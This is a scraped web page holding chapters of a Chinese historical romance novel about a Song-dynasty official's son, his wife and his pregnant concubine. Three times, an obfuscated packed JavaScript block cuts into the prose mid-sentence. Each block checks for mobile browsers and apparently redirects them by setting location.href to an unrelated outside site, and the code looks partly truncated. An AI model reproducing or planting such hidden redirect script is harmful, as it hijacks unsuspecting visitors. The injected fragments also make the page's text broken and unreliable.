;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376768|200106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯,就要梅花酒?女子喝了也不会太上头。”苏明锦说罢,看着宋清欢,像是征求她的意见。 “梅花糕、梅花酒,倒也应景。妙哉妙哉!” 菜品很快就上齐了,也是饿了,这二人顾不得聊天,先美滋滋的大快朵颐一番。 “这梅花酒果然不一般,自有一股子清香在唇齿之间,还真是回味无穷。来,敬你一杯,嗯,就当是谢你款待!”宋清欢眯着眼睛,似乎有了三分醉意。 “见外了不是?我看这一杯,就敬这冬月初雪、红梅邂逅!”苏明锦说完,也端起了酒杯,和宋清欢一碰杯,便一饮而尽。 “新出的梅花糕来喽,二位贵客慢用!” 这樊楼的茶点果子果然是名不虚传,小巧精致、形如梅花、色泽诱人,上面还以三片梅瓣作为点缀,未曾入口,便闻其香。宋清欢小心翼翼地拿了一块,放入口中细细品尝,入口甜而不腻、软脆适中、回味无穷! 看着宋清欢认真陶醉的样子,苏明锦宠溺地笑问:“怎么样啊,我没糊弄你吧?” 宋清欢连连点头,一心沉浸在享受美食的欢娱之中,吃完才缓缓说道:“软而不糯、香而益清,一块下肚呀,似是置身于红梅丛中,公子何雅,俟我于红香之中,窃听古调,相携缱绻,斗雪踱步,亦是白头……” 苏明锦几杯下肚,又听得了话外之音,心里暖暖的,看着眼前醉意十足的宋清欢,他有些恍惚了…… “几杯梅花酒你就醉成这样,真没出息!”苏明锦正背着喝醉的宋清欢,朝着家的方向负重而行。“看你清瘦的身量,怎么背着这么重?” 苏明锦喃喃自语,而宋清欢则在他的背上咿咿呀呀地不知道在说些什么。“冷面鬼、嗯、回家啊……” “怎么?不回家你打算睡雪堆里啊。” “嗯……下次、下次你还带我出来吃……梅花……酒。” “得了吧,怕还是得背着你回来,你摸摸,我这后背都是汗。” “笨蛋、背、背我,偷着乐、乐吧。” 就这样,茫茫天地,一串脚印向远方延伸,直到消失在雪夜之中,杳然无踪。到了府中,已近三更,苏明锦走进清风阁,径直到了宋清欢的卧房,绿珠、小舟也迎上来帮把手,一个用盆接热水,一个帮着苏明锦脱了宋清欢满是酒气的外衣。苏明锦轻轻地将她放在床上,盖上了被子,又用热帕子擦拭了她冰冷的双颊、手脚,几次反复,宋清欢的脸才恢复了红润,手也不那么凉了。 苏明锦坐在宋清欢的床边,静静地守候着。这时,绿珠偷偷地递给小舟一个眼神,两人便识趣的、悄无声息地一同退出了房间。一团烛火,映着苏明锦落寞的影子。他久久不肯离去,只是默默地、细细地打量着眼前这个女子。当初自己的狠绝,让这个女子承受了多大的精神压力啊!一个新娘子,新婚夜丈夫跑路,只身前往偌大的苏府,自己那么的恶语相向,她似乎不明所以,懵懵懂懂。这份沉着,不是每个女子能受得住的。而在这两个多月的接触中,他似乎又重新认识了她。脑间又不由得浮现出她梅下弹琴的画面——那样的清冷、孤傲,像是不食人间烟火,遗世而独立。不仅如此,她虽为女子,但对时局世势,也另有一番不同常人的见地。听惯了小儿女绮靡情思的柔柔糯糯、一生一世一双人的郎情妾意,和她在一起的感觉,雅致而惬意,才更接近真实的自己。 喃喃梦语中,苏明锦似乎听到了她在喊自己的名字,“冷面鬼”,模糊却也清晰,呵呵,这倒是个颇为有趣的称呼,他低头窃笑,觉得自己是与众不同的,在她的心中,还是占有一席之地。可又一想,“冷面”,怕不是嘲讽自己冷漠无情吧?顿时,心中的那点窃喜似乎被冲淡了些许,他再次将眉头皱了起来,看来,自己是越来越在意宋清欢对自己的看法和态度了。 “宋意欢、欢儿,如果我先认识的是你,该有多好啊!” 7. 七、烛影摇红 苏明锦轻轻地抚摸着宋清欢的脸颊,出神地望着,刹那间有些情不自禁。他忘情了,于是缓缓地弯下腰身,慢慢凑近到女子的脸,轻轻地吻了一下女子的额头,似乎是意犹未尽,又轻轻地吻了吻她的双唇,心里怦怦直跳,生怕眼前的人突然醒过来。 “夫人怎么了?”帘外忽地传来李意如的声音。 苏明锦一时慌了神,他甚至没听见李意如进屋的声音。他定了定神,应付道:“呃,没什么。” 李意如走上前来,将手搭在了苏明锦的肩头,又瞄了一眼躺在床上的宋清欢,“呀,这么大的酒气,明锦,你们——” “这么晚你怎么过来了?”苏明锦打断了她的话,不想解释什么。 “哦,你让我先回去,我晚上一直等不到你,后来听说你带夫人出去了,我担心的睡不着,听见门口像是回来人,这才过来瞧一瞧。”李意如倒是说得很诚恳,“我看夫人也安睡了,我们就不打扰夫人休息了吧,绿珠他们都在屋外随时等着伺候呢。你也累了,我那还煨着温热的莲子粥,你去喝一碗就睡了吧。” 小舟在帘外时刻留心着里面的动静,听了这一番话,差点气得厥过去,她蹑手蹑脚地走出去,对着外面的绿珠就是一顿牢骚。 “那个李意如,张狂而来,我们拦都拦不住,一个劲地往里钻,摆不清自己身份吗?姑爷好不容易对姑娘眷顾了些,眼见的就留宿这边了,她却来搅和!这可怎么办?” “姑奶奶小声些吧,你是生怕那人听不见吗?” “我这不是急的吗?你看她过来,可不得把姑爷勾引走?” “可是、可是我们没有法子啊,你又不是不知道,李意如,是二公子自己选的人。” 两个小丫头互相搓着小手,候在外面,又时刻听着里面的动静,干着急。 苏明锦看了看宋清欢,不知怎的,心中生出一股子不舍。偏偏又是刚才那一刹的忘情,差点被李意如当场撞见,心里多少是有些愧疚的,他“嗯”了一声,刚要站起身,自己的手突然被牢牢地拽住。 “冷面鬼,头好晕、你、你别丢下我自己跑路啊。”恍惚迷蒙中,宋清欢眼波微动,口中呓语。 苏明锦赶紧坐回床边,用手摸了摸宋清欢的额头,“嗯,还好并未发热。”继而转头对着李意如说道,“意如,你先回去歇息吧,我在这看着,万一夜里有什么,绿珠他们做不了主。” 绿珠和小舟闻声也进了屋。 “可是,你在这照顾着怕是不方便吧?不然我守在这,你去睡吧。”眼见李意如快要把人带走了,谁知道宋清欢整了这么一出?她不确定对方是真难受还是假难受,总之,自己心里很不舒坦! “到底是姑爷挂念着夫人,夫妻同心,再方便不过了!有姑爷在,一切都不成问题了!”小舟说完,趁李意如没注意,偷偷瞪了她一眼。 “嗯,小舟,你去端盆温水,绿珠,你把帕子再拿过来。”苏明锦突然紧张了起来,“对了,意如,你先回去睡吧,这里有她们两个,你不用在这守着。” “那好吧,有什么事忙不过来,尽管叫我。”李意如话还没说完,就被端着水进来的小舟给挤一边去了,而苏明锦也没有丝毫的挽留,或是一丝要走的意思。甚至连再看她一眼也没有。自己再待下去也是无趣,只能讪讪地离开了。 苏明锦将温热的帕子敷在宋清欢的额头,又抚摸着她的脸颊,还好,她又再次回到了梦乡,嘴中依旧是苏明锦听不懂的梦语,似乎是自己的名字吧,他忍不住,轻笑了一声。 “姑爷,您这是?”小舟被他的傻笑弄呆了。 “哦哦,没什么,呃,夫人这没事了,你俩也忙够呛,回去睡吧。”苏明锦自是尴尬,顺势将小舟绿珠二人打发走了。 宋清欢睁开眼的时候,天已经亮了。她想起身,却被旁边的苏明锦压住了肩头。这个冷面鬼,就真的,一夜、不曾离开,一直、握着自己的手。不过,宋清欢心里明白,想要彻底动摇苏明锦对于李意如的感情,路漫漫其修远兮啊!好在苏明锦渐渐生出情愫,不像当初那样厌恶自己了。 宋清欢的第二步棋,算是下完了。 几人欢喜几人愁,李意如是个聪明的女人,她已然察觉到苏明锦对宋清欢那种幽微的爱意,这免不得要让她患得患失。她想到了和苏明锦的初见,那是苏大人过寿,苏家大公子一向喜好风雅,请了“杏雨天”的一众人来府献艺、以酬宾客。她手操琵琶,以一曲《阳春》博得满场喝彩。奏曲完毕,她坐在亭外稍作休息,忽听得一阵笛声自水畔那边,幽幽传来。她望了望远处,又不禁被府内的清幽美景所吸引,反正离结束还有段时间,何不趁此悄悄赏玩一下大户人家的景致呢?在平时,他们这种出身的人,只配供达官显贵们消遣听曲,哪里有机会踏足锦绣人家的庭院深深。就算是入府演奏,也是不敢怠慢了各种规矩。听说苏大人发妻早逝,府中一切由大公子的夫人主理,今儿更是忙得脚不沾地,想来不会有人在意她的唐突吧。 绕过岸堤,笛声戛然而止,她有些恍惚了。这里,应该是苏府的后园吧?眼前是一片梅林,青梅挂于枝头,相比于寒冬的花团,硕果满枝倒也有趣。她继续打量着周围的景致、亭榭,走的有些累了,便倚在一方小小水榭,取下手帕,逗引着池中几条锦鲤,甚是有趣。 “哎呀,该结束了吧?”她突然回过神,“他们不会走了吧?是不是在四处寻我呢?” 站起身,她四处张望,却忘了来时的路,顿时有些慌张,提起裙角,想要顺着水榭边的小路走出去,可刚一转身,却撞到了一人的怀里,那人伸手不及,她一个趔趄坐在了地上。 “这位小娘子,可有伤到?” 那是一张清俊的脸,正殷切地询问着自己,她抬头望着这个年轻的男子,竟有些出神。 “啊,没、没什么。” 男子伸出手,将她扶了起来,“嗯,没伤到就好,是我没来得及躲开。” “多谢郎君关怀!是、是我走得急了。” “看着你面生,不知是哪家娘子呢?” “哦,我是随着‘杏雨天’的师傅来府上给苏大人祝寿献曲的。” “哦?”苏明锦似乎被勾起了兴致,“我远远的听了一曲《阳春》,明快清丽,颇有生机,可是出自娘子之手?” “郎君抬爱了,和师傅比,差得远了。” “娘子过谦了,对了,你这么匆忙,是有什么事吗?” “哎呀!”她光顾着和这位公子聊天,忘了正经事,“我只顾看这风景,却忘了回去的路了,想着演奏完毕,师傅怕是急着寻我呢。郎君可知道回正厅那边的路?” “哦,我正要往那边走,娘子跟着我便是了。” 就这样,她与这位清俊的公子并肩而行。清风迎面、花鸟怡人,她时不时地偷偷瞥向身边的他,余晖映着他明澈的眸子,如水榭影底,浮光跃金,如何不让人浮想联翩? “你看,前面就是正厅了,你师傅他们应该在侧亭休息,你也去吃些茶点果子吧。” “嗯,多谢郎君了。”和男子别过,她便朝他指着的方向走去,却行至不远处,停了脚步,她回眸浅笑,“奴家李意如,敢问郎君尊名?” “苏明锦!”男子说罢,拂袖转身离去。 垂柳依依,好鸟相鸣,她望着男子渐行渐远的背影,神思缱绻。 “意如,你可算回来了,师傅就等着你呢,快,收拾收拾准备出府啦。” “嗯。”她低头一笑,绕过女子,羞涩地掩面而去。 “这丫头,碰见啥好事了,莫名其妙的!” 一夜无眠,她的眼里心中,从此多了一张清俊的面孔,小女儿的情思却是藏也藏不住的,她的时而伤悲、时而窃笑,都被小蛮看在眼底。 “姑娘若是心有所系,何不就此一搏?” “可、‘杏雨天’的人,能有什么好归宿。柳姐姐倒是寻了个金龟婿,还不是要与人做妾?今儿眼里心里是你,明儿便是左拥右抱。世间纨绔,大抵都是如此。” “若是那普通的读书人怎么样呢?” “傻小蛮,有诗说得好啊,‘嫁得人间才子妇,不辞清瘦似梅花’,我可不想从现在的‘琴棋书画诗酒花’,变成了日后的‘柴米油盐酱醋茶’。” “那若是郎君始乱终弃,只听新人笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376769|200106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、不见旧人哭呢?” “小蛮,实话讲与你,我既贪图那份荣华富贵,就一定有手段守住自己的虚荣。” “姑娘好气性!整个汴京城都知道苏瑷苏大人有两子,苏明锦是苏家的二公子,虽为武将,但文质彬彬、温文尔雅,最重要的是,他至今尚未婚配。其他的嘛,待奴婢想办法探探消息,若真是良人,那咱们就不妨孤掷一注!” “姑娘、姑娘?”小蛮见李意如目光迷离,似是没听见自己唤她,就从背后将大氅轻轻地披在了她的身上。“夜深了,二公子还没回府呢,姑娘早点歇了吧。” 李意如点了点头,想来苏明锦忙完自会到她这里来,也就不再守着了。 苏府门口,一人一马,气喘吁吁。苏明锦下了马,把缰绳甩给了九宝,自顾自的飞奔至清风阁。 “呦、瞧你风尘仆仆的样子,什么事这么急?”宋清欢正伏案看书,见苏明锦进了屋,放下书,起身迎来过来,替他脱下了斗篷。 “喏,你爱吃的梅花糕!”苏明锦从后背拿出了捆扎结实的一包,“这几日见你没什么胃口,又不方便带你外出,就想着买些你爱吃的果子带回来。” 宋清欢心下欢喜,她迫不及待的把纸包打开,让梅花糕的清甜充斥着整个屋子。“没什么好东西给你做谢礼,请你吃杯酒吧!”说完,她重新拿了一个杯子斟满了酒。 苏明锦接过杯子,抿了一口,“你是越发胡闹了,严冬腊月的,怎么吃起了冷酒?难怪身子不爽!” “哎呀,我这不是没胃口,才吃了冷酒来消解。”宋清欢还想辩解。 “绿珠、小舟,把酒拿去温一温,再不许让夫人吃冷酒!”苏明锦把酒壶抢了过去,递给绿珠。 绿珠噘着嘴,一副委屈的模样,“哎呀二公子,您可要时常的来监督夫人,我们真是管不住她,唯有您,才有本事让夫人乖乖听话!” 宋清欢“恼羞成怒”,追着把绿珠、小舟“打”出了屋。 “姑爷,酒给二位温好了,姑娘就交给您照顾了哦。”小舟“不怀好意”,对着苏明锦使眼色。 苏明锦立马会意。“好好、你和绿珠去歇息,今夜啊,我伺候你家姑娘!” 宋清欢瞬间面色绯红,只得端起一盅酒一饮而尽,借此掩饰自己的慌张。 “呵呵,没想到我的夫人这般好酒量,在下汗颜!”说罢,对着宋清欢作了一揖。 宋清欢放下手中酒杯,偏过身子,佯装生气,娇嗔地说道:“你惯会取笑我!” “哪有哪有!”苏明锦将二人的酒杯又重新填满,俯身向前,将宋清欢别过去的身子转了过来,双手搭在她的肩上,柔声细语地在她的耳边私语,“还记我第一次向你敬酒致谢,你却连杯都没端,说我欠了你的新婚之酒,日后一定跟我讨回来。如今不用你讨,我便亲自为你献上,赔你的合卺之酒,补你的新婚之夜,可好?” 此时,宋清欢的脸更红了,好在夜色浓烈,烛火幽暗,不曾让眼前人将自己的羞怯和慌乱一览无尽。她揉捏着自己的衣角,心头颤颤。越是狼狈、越是被苏明锦抬起她拼命想要低下去的头。四目相对,并不是含情脉脉,而是强烈的想要躲避对方那双炽热的双眸。 她节节防守、他步步紧逼,一双唇重重的贴了过来,霎时,心中似有一股热浪翻涌而来。 月移树影,透过窗棂,随着风声轻轻摇动;红烛爇泪,微火含羞,迷蒙着一层淡淡的青烟,萦绕于桌角,久久不散。 红绡香帐,春宵苦短,日上三竿了,小舟、绿珠二人也不敢冒失,只待苏明锦起床出屋,这才敢上前伺候洗漱。 苏明锦盥洗完毕,又不忘嘱咐小舟:“你们两个轻声些,让夫人多睡一会儿,她是不习惯早起的。” 小舟转头对着绿珠笑嘻嘻,绿珠一字一顿地对着苏明锦回道:“遵——命——” 绿珠向来机敏狡黠,连苏明锦都拿她没办法,“我今日官中有事,就先走了,你们伺候夫人用饭吧!” “二公子,马备好了,主君让我催您来啦!”九宝喘着跑至门外,向内疾声传话。 “这就来!”苏明锦抓起斗篷,立马冲了出去。 8. 八、倏忽又起风波 红衾被暖熏罗帐,美人高卧梦依依。宋清欢伸了个懒腰,摸了摸,枕边空空。这冷面鬼,第一次在自己这过夜,一大早招呼都不打就跑路了。宋清欢侧向苏明锦睡的一旁,用手感受着他留下来的温度,回味着醉酒之夜他的精心照顾,想着想着,禁不住的笑意盈盈。他的心已经慢慢地靠过来了,还愁得不到他的人嘛? 她的第三步棋,子落局成。 “姑娘醒了?您笑个什么劲儿?” 小舟的一句话,把宋清欢吓得够呛,“哎呀”了一声,就立马拽过被子蒙住了自己的脸,还不忘嗔怪她,“什么时候进来的,也不说一声,故意吓我!” 小舟委屈得紧,打趣道:“我进来问姑娘醒了没,您也不应声,这才凑近仔细瞧瞧,谁承想您在那傻笑呢。姑娘还害臊不成,哈哈!” 宋清欢更是羞红了脸,躲着不肯见人。 “姑娘跟我们羞什么呀,咱们得成所愿,终于不怕被带回来的那位压下去了!该庆祝一番才是。” 宋清欢缓缓起身,低头沉思片刻,“一方欢笑,势必有一方暗生怨怼,恐怕,又要起风波了。” 杏雨斋,李意如望着苏明锦亲自为她住处题的这个匾额,不由得怒气中烧。她本就出身“杏雨天”这个风尘之所,虽清清白白,却也落人口舌。如今入了府,苏明锦居然还用这“杏雨”二字,是让她时刻谨记自己的身份吗? “啪”的一声,李意如手中的杯子被她重重地摔了出去。 “姑娘莫要赌气,隔墙有耳,忍了许多时日,怎么这时泄了气?” “他终究是留宿在了夫人那儿,一生一世一双人,都是骗人的鬼话!” “姑娘冰雪聪明,自二公子妥协回府,就料定了这一日迟早会来,您只是不想接受罢了。” “可见世间男儿皆薄幸!”李意如愈发愤愤不平。 “您别忘了,二公子不是孤身一人,他有家族、有身份,这样的人怎么会抛弃一切只顾情爱?他不弃旧爱,如今仍能爱惜您,单凭这,就远胜过那些只会拈花惹草的公子哥儿。”小蛮总是能一阵见血,“眼见的二公子对夫人情意渐浓,日后再生个小公子出来,那可就无力回天了,您不能总倚仗着二公子的旧情过日子。” “小蛮,你说的对,可,我若生子,无名无分……” “姑娘想多了,有胜于无啊。” 李意如点点头,她万般筹谋才有了如今的前程,决不能将自己后半生的依傍拱手让人! “小蛮,你过来。”李意如附在小蛮耳边低语,“明儿一早你去马道街……” 方腊起义不久,队伍迅速发展到十万余人。凡起义所经之处,“劫富室,杀官吏、士人”,并将官吏、地主的财产分发给穷苦百姓,方腊也因此更深得民心。起义军虽没有朝廷官军的兵甲之器,但人心聚、泰山移,他们和当地的官兵殊死搏斗,以简陋的武器歼灭前来镇压的官军数千人。起义军在南方发展到百余万人,为扩大战果,方腊率师北上,继而以破竹之势连攻数城,直取杭州。常山、信州亦是不在话下,睦、歙、衢、杭、婺、处等“六州五十二县”皆收囊中。 大殿之上,赵佶怒气腾腾,众臣子立于殿下,战战兢兢,不敢发一言。 首先开腔的是董中,“陛下,这方腊来势汹汹,杀了不少地方官吏,照这样的事态发展下去,恐怕——” “董大人也知道来势汹汹啊,也不知是谁当初夸下海口,哼,‘不成气候的小打小闹’!如今朝廷陷入危墙之下,可真得多谢了您的‘神机妙算’啊。”杨自忠对着董中就是一顿嘲讽。 赵佶十分不耐烦,他想要的是办法,没心情听任何人在朝堂之上争论。 “好了!”赵佶怒喝一声,“等你们论出个是非,怕是我大宋江山都得改姓方了!” “陛下息怒,臣举荐一人,可解陛下燃眉之急。”董中瞄了一眼杨自忠,尽显得意,“陛下,臣举荐枢密院苏瑷,没记错的话,苏大人当初可是信誓旦旦地要领兵出战呢。” 这可真是双方交战,伤及无辜啊。顿时,众人将目光都集中到了不起眼的苏瑷的身上。猝不及防,苏瑷此刻有些慌乱,片刻不到,他定了定神,朝着赵佶作了一揖,大声道:“臣愿亲自领兵剿灭方腊,为陛下分忧!” “好!”赵佶高兴道,“苏卿,难得你一片赤胆忠心!” 朝堂上,众臣子立马齐声称赞:苏大人勇武! 这苦只有苏瑷自己心里清楚。董中这个奸诈小人,陷自己于不义之地,官家虽未言语,恐怕也是赞同了董中的建议。此刻的自己,若不应下这差事,怕是会被嘲讽为不思报效朝廷的懦夫,以至于自身难保。他只能硬着头皮顺着董中的意思接下重担。不过这总比推诿之后,让官家开口斥责,再“委以重任”强上百倍。 “什么?官家让您去平定方腊叛乱?”苏明锦很是诧异,自己的父亲虽是武将出身,也曾镇守北疆,如今年事已高,这才被召回了京都。“那董中惯会和稀泥,他怎么不举荐杨自忠去?杨自忠不是天天喊着要官家准他带兵平叛吗?” 苏瑷捋着胡须,叹了口气,“唉,董中心思深沉,他自己不肯冒死上前。若是杨自忠去的话,战败也就罢了,却又怕他万一解了官家的燃眉之急,居功自傲,压他一头。而举荐为父就不同了,就算是我平了方腊一众,也不会对他产生任何威胁,很有可能会以此战功挑拨我和杨自忠的关系。” 苏明锦一脸茫然,“真是进退两难,看此时的境地,恐怕没有退路,只能奉旨平乱。父亲,明锦明日便奏请官家,随父同行!” 苏瑷迟疑了下,缓缓道:“为父知道你的一片孝心,只是,你阿兄远在湖州,家中还需你还来主持。” “父亲,意欢她自嫁入府中,把家里的事操持得井井有条,家中一切大可托付意欢。” “这、也只能这样了。明锦,你阿兄成婚两年无所出,你也成婚半载了。苏家须有后啊。” “呃……”苏明锦一时语塞。 “你我父子,武将出身,生死本就难料,你那清风阁里两位都无所出,作为正妻,须得为你择良妾了。” “是,谨遵父亲教诲。” 苏明锦心事重重,新怨旧愁、国仇家事,一时间令他有些难以消化。不过眼下最要紧的,就是收拾行囊、准备随父出战。 “什么?你要随军打仗?”李意如惊慌失措,瞬间大脑一片空白,“刀剑可不长眼睛,若是有什么不测,那我、我以后可怎么办?” “这是臣子的本分,更何况父亲亲自领兵,作为儿子,我怎么能袖手旁观!” “反正我不许你去!”李意如说完,转头掩面而泣。 苏明锦被她弄得有些心烦意乱,但他心里知道,意如从来都是依赖着他,“意如,我明白你的担心,来,别哭哭啼啼的。” “你总是不能听我的,你说心里只有我,昨夜却宿在了宋家姑娘那,今日又说要去那刀剑不长眼的地方。我、我还能依靠谁呀。” 苏明锦知道她因为昨夜的事耍性子,只能安慰道:“我又没做什么,夫人醉酒伤身,我这做丈夫的岂能弃之不顾?” “啊,是这样……” 李意如神情稍缓,偎在了苏明锦的怀里,依旧是不忍他离开。“明锦,父亲早年驰骋沙场,经验十足,况且,官家也没有指名要你同去呀!不然——” 话还没说完,叶儿便在门外回道:“二公子,小蛮姐姐已经把您的衣物交与九宝了。” 苏明锦紧皱眉头,推开了李意如,严肃地说道:“以后,这样的话不许说了!” 看着苏明锦头也不回地出了屋,李意如一股子无名火发不出。一杯茶水直接摔向了叶儿的脚底, “啊!”叶儿惊慌失措,赶紧跪在了李意如面前。“姑娘,奴婢冒失了。姑娘恕罪!” “滚出去!”李意如没的好脸色,冷冷训斥。一时动怒,身子颇为不爽,于是吩咐了小蛮去请郎中。 苏明锦离了杏雨斋,一肚子烦心事,只得先回清风阁,出征之事还未和宋清欢说,不知道她又会是怎样一番惊诧呢? “哦?那我可得备一桌佳肴,恭贺官人得偿所愿!”宋清欢得知了消息,一展欢颜。 苏明锦见了宋清欢的笑靥,眉头稍解,“夫人莫非知我心底所愿?” 宋清欢一挑眉毛,笑盈盈地站起身来,抚住苏明锦的双肩,缓缓道来:“听说父亲早年曾镇守北疆,有战功傍身,你这几年虽官居京都,却浪费了一身的本事,而眼下正是你阵前杀敌、守护家国的大好时机。” 苏明锦心中的烦闷顿时烟消云散,“以前觉得你光风霁月、不戚戚于儿女情思。到底还是我小看了你,没想到我的夫人竟是如此心胸豁朗之人,竟还是我的知己,倒不像是意如。” 宋清欢听了,立马把手从苏明锦的肩头收了回来,撇着嘴说道:“真是难为了你的小红颜,怕你死在外面没了依靠!” 苏明锦顿觉失语,连连致歉,“呀,是我唐突!”他故意咳了咳,绕到了宋清欢的面前,低头作揖,“那,夫人就真舍得你家官人出去冒险呀!” 宋清欢一把捏过了苏明锦的脸。 “哎呦、疼、疼!” “那你就乖乖的,怎么样去的,就怎么样回来!” “遵命!” 二人相视一笑,冬腊凛凛,却传春信。 远人堂正厅,苏明锦和宋清欢围着苏瑷,一家人正吃着晚饭,自宋清欢嫁到苏府,和父亲一起用饭的次数,这只是第二次。想来苏瑷征伐在即,有些家事还是要嘱咐交代。饭毕,苏明锦夫妇二人随苏瑷坐于茶室,苏瑷正襟危坐,面色凝重,缓缓开口道:“意欢,明锦随我去平乱的消息你都知道了,不日即将启程,家里一切,就交给你了。有什么拿不准的,徐伯会帮着你的。” “父亲放心,儿媳会打理好家,等着父亲和官人告捷归来。”对于料理家事,宋清欢倒是不怎么犯愁,左不过是城南的几处园子、家中的杂事,而府中官宦往来,她是一概不参与过问的。 “让我进去见二公子、您别拦着呀……” 院子似乎有人在吵嚷。苏瑷疑惑地对屋外候着的人问道:“外面怎么了?谁在嚷嚷?” 徐伯忙进屋回话:“主君,是李娘子身边的丫头,说是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376770|200106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有要紧事要告与二公子。” 苏明锦心里打鼓,莫非李意如出了什么事,她就算再拈酸吃醋,也断不会闹到父亲这里。“父亲,要不我回去看看?” 苏瑷忽的眉头一皱,心下不悦。他是最看不惯儿子沉溺于情爱中。宋清欢在旁边看的清楚,于是,便主动站起身来,对着苏瑷行了礼,细声说道:“父亲,还是我去看看吧。”苏瑷饮了一口茶,虽未言语,却眉头舒展。宋清欢会意,默默退出屋子。 “李娘子何事,叫你过来扰了父亲和官人议事,你且说与我听。”宋清欢问道。 “夫人,我要见二公子!”小蛮不顾宋清欢的询问,又推搡着往门口挪动,“二公子、二公子,姑娘晕过去了,您快去看看吧!” 宋清欢心想,就算苏明锦想出来,苏瑷大概率是不允的,还是自己过去看看吧。她刚要叫小蛮带路,谁知苏明锦满脸焦急地奔了出来。一把抓住小曼的胳膊问道:“怎么回事?请郎中了吗?” 小蛮一边拉着苏明锦往杏雨斋跑,一边喘着回话:“着人请了,在来的路上!” 宋清欢愣在原地,搞不懂李意如这葫芦里面卖的什么药。她回头望了一眼,正看见苏瑷走了出来,对着苏明锦离开的方向,怒目而视,却又无可奈何,只是愤愤地一字一顿——“不争气!”不知是在斥责苏明锦,还是在埋怨自己处事不当,多想无益,宋清欢也跟着他们,往杏雨斋走去。 正当苏明锦风风火火往回赶,路上又见叶儿火急火燎地迎面跑来。小蛮对着她斥道:“你不在屋里守着,跑出来做什么?” 叶儿上气不接下气,“郎中瞧过,李娘子没事了,怕二公子着急,让我来说一声。” 苏明锦一头雾水,“到底怎么回事?好好的人就晕过去了?” 叶儿挤出一丝笑容,回道:“恭喜二公子,李娘子有喜了!” “啊!”此时,刚追上众人的宋清欢听了这话,顿时如五雷轰顶,整个人动弹不得。为什么、为什么偏偏是她?不能失态、不能失态,她暗暗提醒自己,强支撑着她那摇摇欲坠的身子。 李意如躺在床上,一副虚弱不堪的样子。几人拥簇在侧,苏明锦更是心急如焚,喜忧参半,他紧握着李意如的手,喃喃自语,“意如、意如,快点醒过来吧。”宋清欢分明看到了李意如眼波微动,她当初醉酒装睡的时候,不也是这个样子吗? 少顷,李意如才缓缓地睁开了双眼,一见到眼前的苏明锦,顿时梨花带雨,娇滴滴地哽咽起来,“明锦,我、我以为你厌了我,不再来我这杏雨斋了……呜呜,我、我好想你。” “说什么傻话呢?我这几日都同父亲商议战事,竟冷落了你。”苏明锦温柔地安抚着怀里的泪美人。 李意如抬了抬眼,这才看到一旁的宋清欢,她轻声说:“明锦,是我太小家子气了,为了你,我数日茶饭不思,自己身子不中用,还害得夫人跟着着急,真是罪过。” 苏明锦听了哭笑不得,“意如,你有了身孕,这才晕过去,以后不许这样任性了,我没有公事必然会时常来陪你。” 李意如瞪大了眼睛,惊诧道:“啊?!我有了咱们的孩子?我、我居然没感觉到!” 宋清欢站在一旁,心里颇不自在,不是她让人跑来告诉自己有孕的事吗,现在又揣着明白装糊涂。一阵酸涩苦楚直上心头,却要佯装出欢喜的表情,让自己的情绪尽量归于平静后,开口说:“李娘子毕竟是第一次有孕,不知道也是正常的。你向来忧思过度,怎能不伤了自己和腹中孩儿。” 李意如低头沉默,委屈得紧。这时,院里传来一阵哄闹,“见过主君!”只见苏瑷快步进了屋,也不避讳什么了。 “意如见过主君!”李意如有气无力,坚持着要下床跪拜。 “免了免了,明锦快扶她好生倚着。”一向喜怒不形于色的苏瑷,脸上竟然写满了担忧、担忧中又夹杂着无尽的欢悦。 宋清欢心中五味杂陈,苏瑷从未正眼瞧过李意如,入了府也没有身份,摆明了是看不上她。刚刚还在暗地责骂苏明锦和李意如这种女人厮混,如今她有了苏家的骨肉,苏瑷竟也乐意踏足这低贱之处了。 苏瑷殷切地嘱咐道:“先养好身子,有什么不适,就立刻让下人回了明锦他们二人。”说完,就看了宋清欢一眼,只是那目光,似乎又恢复了最初的严肃。这让宋清欢感到了前所未有的挫败。 苏瑷继续对着屋内众人说道:“眼下我和二公子就要出征,家里事就全都交与二夫人,李娘子现在有了身孕,你们一切要以杏雨斋为重中之首。若是孩子有了什么闪失,你们谁也脱不了干系!” 众人俯首称是,也难怪苏瑷如此珍视,这可是苏家目前为止唯一的血脉。两个明媒正娶的高门贵女皆无所出,这个低贱的风尘中女却有了身孕,多么讽刺啊! 低眉间,宋清欢似乎瞥见了李意如一丝胜者睥睨败者的眼神,转瞬即逝。再三筹谋,才让苏明锦的情意有了转圜的余地,一切都向着预期步步朝前,可偏偏这个时候,她李意如却有了身孕。往后,自己的日子怕是难过了。在苏明锦心里,自己刚刚占得的一点情意又算的了什么呢? 9. 